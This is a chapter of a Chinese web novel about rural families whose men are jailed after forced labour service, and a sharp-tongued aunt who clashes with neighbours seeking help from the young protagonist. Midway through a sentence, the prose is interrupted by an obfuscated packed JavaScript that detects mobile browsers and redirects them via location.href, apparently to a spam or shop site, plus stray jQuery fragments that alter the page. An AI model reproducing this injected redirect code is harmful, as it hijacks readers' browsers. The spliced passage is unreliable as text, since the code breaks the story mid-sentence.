49. 第四十九章

作品:《人上人获取指南(科举)

    石蛋一口气倒了干净,王景禹也明白了事情的前后因果。


    本就马上要入农忙时候,男丁不仅不得归家务农,还直接入了狱。这县衙大牢,于普通小农不异于天牢一般,一旦进去了,不赔个倾家荡产,连活人都难再见到一面。


    若是一般的民间官司,也还能登门到对家,打个商量,甚至是对簿公堂。


    可牛二和王二水,却是官家直接拿了罪证扣押。小民家属,又怎么去同官家对堂?


    这简直就是九死一生的局面,怎不叫人着慌?


    两人说话间,已经走到了石蛋家院外,隔了几步远,就听到刘氏在院中愤恨的声嗓,另有两家是双满村和临近大里村的村妇,丈夫也在这一轮被征了的,也都面带愁色的抹着眼泪。


    但她们两个好在叔伯公婆住在一堆没有分家,不至于一下子就完全没有了劳动力。


    刘氏因为连日的忧虑一直上火,此时嗓音都已哑了:“你们说,那些当官当权的,是都瞎了眼了吗?但凡他有一个,来亲眼看一看,看一看他王二水这一家,过的是什么样粗陋日子,还能说的出私卖粮食这种话来?他王二水要是有那胆量有那心计,家里的日子还能这般一天熊似一天!?”


    真的是怕什么来什么。


    她提心吊胆的,一天天算着日子,怕的就是王二水这一去,会出意外!


    她那落户在此的弟弟刘四民,趁着春闲学了扯麻绳的手艺,攒出些货了就拿出去到集市上卖,此时并不在家。


    况且,便算他在家,他一个外来的人,对这样的事也是无能为力。才两岁的二狗,此时靠在刘氏怀里,茫然看着母亲。


    另两名妇人也道:“正是呢,咱这些人,要是有那能耐,有那人面能窃卖官家的粮物,又怎会老老实实的被征了去应春夫!”


    几人说话间,刘氏抬起强忍着泪水的脸,模模糊糊看清了站在院门口的石蛋和王景禹。


    她瞬间收了悲苦之色,撑着架子道:“石蛋,你干什么去了?”


    石蛋瞅了她一眼,也不掩饰:“娘,我去找大哥了,想着看大哥有没有什么办法……”


    “他一个比你大不了两岁的娃子能有什么办法!谁让你去找他的,给我回来!”


    刘氏这突然拔高的音量,怵的小二狗一个激灵,回过神来看着自己哥哥石蛋,嗷嗷大哭起来。


    石蛋忙走了过去,接过二狗抱起来。


    见幼子如此,刘氏也兀自泄了气,任由石蛋接走而二狗,扶了扶二狗的小脸:“不哭不哭,是娘不好,吓到咱小二狗了。”


    与刘氏全然不同的是,另外两名村妇看到王景禹,立马站了起来迎过去。


    与王家连户的户长马三家媳妇道:“大郎,你听说了吧?咱们乡里,这回被征了春夫那几个,你二叔、牛二,还有我家马三,都被押在郦县大牢了啊!”


    “是啊,大郎你是咱县里的案首,连知县大人都高看你一眼。你看看,咱们能不能去找那李保正一块去县上探问一下,啊?”


    王景禹打量这些人焦灼的神色,要说的话尚未出口,正在哄二狗的刘氏却猛然站起身。


    她径直指着说话的两个媳妇道:“你们来我家,若是要一堆商量主意,那就好好同我商量便成!个个都是快要抱上孙子孙女的人,活了几十年,一出事就净想着指望一个十二岁的崽娃吗?”


    “娘……”


    石蛋见他娘说话不好听,也怕她再多说什么伤大哥脸面的话,忙不迭的想要提醒。


    王景禹看了眼一直不敢把视线往自己身上落的刘氏,却是接了她的话道:“是了。大伙不妨尽快先去寻各自的户长和保长,各个门路都走一走,总比都压在我一个小子身上强。”


    这事还有牛二在里面,他定然是要想法子问的,只是,尚没有任何音信眉目之事,他却不能当下就应了这些人的求肯。


    那两名村妇见王景禹本来都要开口了,却被刘氏生生截住了话头,不由得脸色十分不好看,怨怼的瞪着刘氏。


    “刘彩云,你们自己一家人瞧不上自己个儿家人,我们也不想管!可是大郎如今有出息,你打着灯笼,在你们村、咱们乡,乃至全县里去问问,有几个能不认!你自个非要钻那个牛角尖,掐那没用的强,可别拉着我们!”


    “可不是吗?大郎本来还有心说些什么,叫你一开口给堵回去,你成心要叫我们求告无门啊!”


    那两个妇人今儿个聚到她家,本就为着能等到王家大郎,好打问一番。


    虽说,她们也并不确定,大郎这样一个十二三岁的少年,究竟能不能办得些事,可行不行的总要试试啊!


    王二媳妇你自己拉不下脸来求你大侄子,干嘛拖着我们下水!


    被两人不假颜色的一番指责,刘彩云却不怒反笑,她看着两名村妇道:“你们少拿这些话来臊我!我还不知道你们想的是啥?这时候上下嘴唇一张,生生把大郎捧起那么高,图的是什么?安的又是什么心?跟官家争长短的事,你们自己都不敢去,来抹几句蜜,就指望别人替你们担这风险!怎么不把''不要脸皮''几个大字贴自己脸上去?”


    那马三家担了户长这些年,给这一大户的人家办过什么了?


    从来眼睛只往上瞧,看不上她们王家,瞧不起乡里乡亲,却又在那户长保长堆里混不出个样儿!被征了春夫出了事,倒想着来求了!


    换她来,纵使再贴八层皮,都豁不下这个脸面!


    当初她眼见大嫂一家无望,若再伸手,怕是要把老二这一门也一块拖了进去。硬着心肠,对大嫂一家人的死活不闻不问。


    现如今,人家凭着自己生生活了过来,还越活越好,越活越红火。


    那她……她也不能后悔,也不能眼馋,也不能去再腆着脸去攀扯。


    王二水这回遇到的事,可是要同官家去分说的,对她们普通农户而言,不异于飞蛾扑火,又岂是接下几张酱肉饼子那般简单?


    见王景禹毫不迟疑的走了,那两名村妇也怨愤的瞪了刘氏,刚刚对她的那一点同情怜悯之心,也都烟消云散,甩手气哄哄的回家再商议。


    石蛋抱着小弟二狗,在灶房寻了一把枣子,好容易哄好了小弟。


    回想方才,他娘和大哥之间别扭的气氛,以及他娘拦着自己不许央告大哥。


    此时也回过味来,他娘其实是有意在人前要给大哥推事减责,只是话里话外依旧火星子四溅。


    此时看着软软呼呼吃小枣的小弟,他试着小了声道:“娘,往后你能不能跟大哥好好说话,大哥他


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12773239|124030||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,都没说记恨咱以前……”


    殊不知这一句出口,又触了刘氏神经,她猛的抬了头盯着石蛋:“记恨?记恨谁?我和你爹吗?他凭什么记恨!”


    她此时说话,已不似刚才那般,但音量的大小也足以传到隔壁的院子里。


    “我们没帮他们吗?你大伯和你爷爷那一走,没消息了整整三年,三年哪!前头那一二年里,我和你爹那是出力又出粮的照看他们。可是他们回不来,他家就成了无底洞啊!再帮,咱们一家都得跟着栽进去!你屁都不懂,还想替他来教训我了?”刘氏气恨恨的对着石蛋发火,石蛋一时无言以对。


    她会备受愧疚的煎熬,可是她也不能接受别人的指责。


    对嫂子一家人,她的良心上过不去,直兜兜转转了这两年多。


    可若她这样实在没了办法,才只能选择活自己的人,还要受到指责,那么,那些造成了这一切苦难发生的人,那些踩在他们苦难头顶上吸食/精血的人,为什么不受到指责?


    人人都敢来朝她刘彩云指三喝四,可谁又比谁做的好了?谁又敢到那刘原和李茅跟前多说一个字?


    一墙之隔的院子里,王母正在准备晚饭,听了这话打量了眼坐在桌案边又打开了书的王景禹,见他专注的读着书,像是完全听不见一般。


    王母摇了摇头,看了眼隔壁的方向,就继续做自己的饭了。


    倒是两个双胞胎,虽然不能完全听懂隔壁说的话,但小脑瓜也意识到他们是在说大哥,并且不像是什么好话。


    他们原本不敢扰着大哥读书,在院里听王母的话扒豆子,此时两颗小脑袋凑到一块,嘀咕一会后一起站了起来。


    二丫先用依旧奶奶的嗓音喊:“不好啦!哪里来的山妖,破锣嗓子吵死个人了!”


    二郎一本正经做道士状:“何方妖人胆敢作乱,待本道这就前去除了她!”


    二丫脆藕似的胳膊一指隔壁:“就那!”


    “噢——”


    二郎小手略一掐算:“原来是个黄鼠娘娘!罢了罢了,此物极臭,本道也不想惹的一身臊啊!”


    从灶房放好了正切的菜的王母走出灶间:“你俩快扒豆!”


    原本一回院就再次躺在靠背马扎上,不动如山独自看书的王景禹,谴责又好笑的看他们一眼。


    他在小峦山深处折腾了大半天,早累的快散架了。


    古代办案的效率他心里有数,牛二和王二水的事不差这半日,他好歹要略歇一番再做打算。


    刘彩云是个什么别扭性子,他也不是今天才知道。


    从一开始,他亦从未记恨过原身的二叔一家,更无指责之意。


    甚至,在他看来,刘彩云反倒还是个村妇之中难得清明又有些辣狠勇气的人。只不过,常年堆了满身的荆棘,实在扎手。


    两个崽子接收到眼神,收了嬉笑,规规矩矩继续扒豆子,只依旧忍不住互相碰碰小眼神。


    隔壁院中,清清楚楚听到两个小娃儿这一番演绎的黄鼠娘娘妖刘氏:……


    石蛋强忍着想要喷出来的笑:忍住!他应该生气!


    他偷眼看了看他那轻轻咬着下唇,一脸尴尬的娘,一时心头阴霾尽散。这可是他娘头一次吃了瘪以后,还闷不吭声的受下了的。